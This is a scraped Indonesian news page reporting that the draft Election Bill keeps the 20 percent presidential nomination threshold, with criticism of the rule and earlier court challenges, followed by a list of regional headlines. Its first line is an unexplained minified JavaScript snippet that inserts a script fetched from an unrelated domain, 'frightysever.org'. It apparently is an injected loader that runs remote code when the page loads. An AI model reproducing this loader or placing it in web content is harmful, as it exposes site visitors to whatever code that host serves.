(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Ambang Batas Pencalonan Presiden di RUU Pemilu Tetap 20 Persen


KANALKALIMANTAN.COM, JAKARTA– Draf Rancangan Undang-undang (RUU) Pemilu tetap mencantumkan ambang batas presiden atau presidential treshold 20 persen. Angka ini tak berubah dari ketentuan UU No. 7 Tahun 2017 tentang Pemilu.

Presidential treshold sendiri merupakan syarat minimal jumlah suara atau kursi partai politik di parlemen yang harus dikumpulkan oleh calon presiden-wakil presiden untuk bisa maju di pemilu presiden.

“Pasangan Calon Presiden dan Wakil Presiden diusulkan oleh Partai Politik atau Gabungan Partai Politik Peserta Pemilu yang memenuhi persyaratan perolehan kursi paling sedikit 20% (dua puluh persen) dari jumlah kursi DPR atau memperoleh 25% (dua lima persen) dari suara sah secara nasional pada Pemilu anggota DPR sebelumnya,” bunyi pasal 187 draf RUU Pemilu.

Ambang batas presiden sendiri kerap mengundang pro-kontra. Aktivis pemilu selama ini menghendaki agar presidential treshold ditetapkan sebesar 0 persen.

Komisioner Komisi Pemilihan Umum (KPU) Pramono Ubaid Tanthowi mengusulkan agar presidential treshold dikurangi. Ia mengatakan ambang batas tinggi memiliki banyak dampak buruk, salah satunya masyarakat menjadi terbelah lantaran hanya ada dua pasang calon.

Ketentuan ambang batas itu sendiri sudah beberapa kali digugat ke Mahkamah Konstitusi (MK) meski itu ujungnya ditolak. Salah satunya ialah permohonan uji materi pasal 222 UU Nomor 7 Tahun 2017 tentang Pemilu yang dimohonkan oleh politikus Rizal Ramli dkk.

Alasan gugatan itu, katanya, ambang batas presiden membuat negara dikuasai segelintir elite. Pasalnya, hanya sedikit orang yang bisa membuat parpol untuk mengusungnya dalam Pilpres, yang tak menutup kemungkinan melibatkan politik uang.

Alhasil, akan ada simbiosis dengan ‘cukong’ yang bisa membiayai pencalonan itu. Jika menang, politikus tersebut hanya akan mengeluarkan kebijakan yang menguntungkan pendananya itu.(Kanalkalimantan.com/cnni)

Editor : Cell

 

 

 


Al Ghifari

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

11 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

12 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

12 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

13 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

13 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

19 jam ago

This website uses cookies.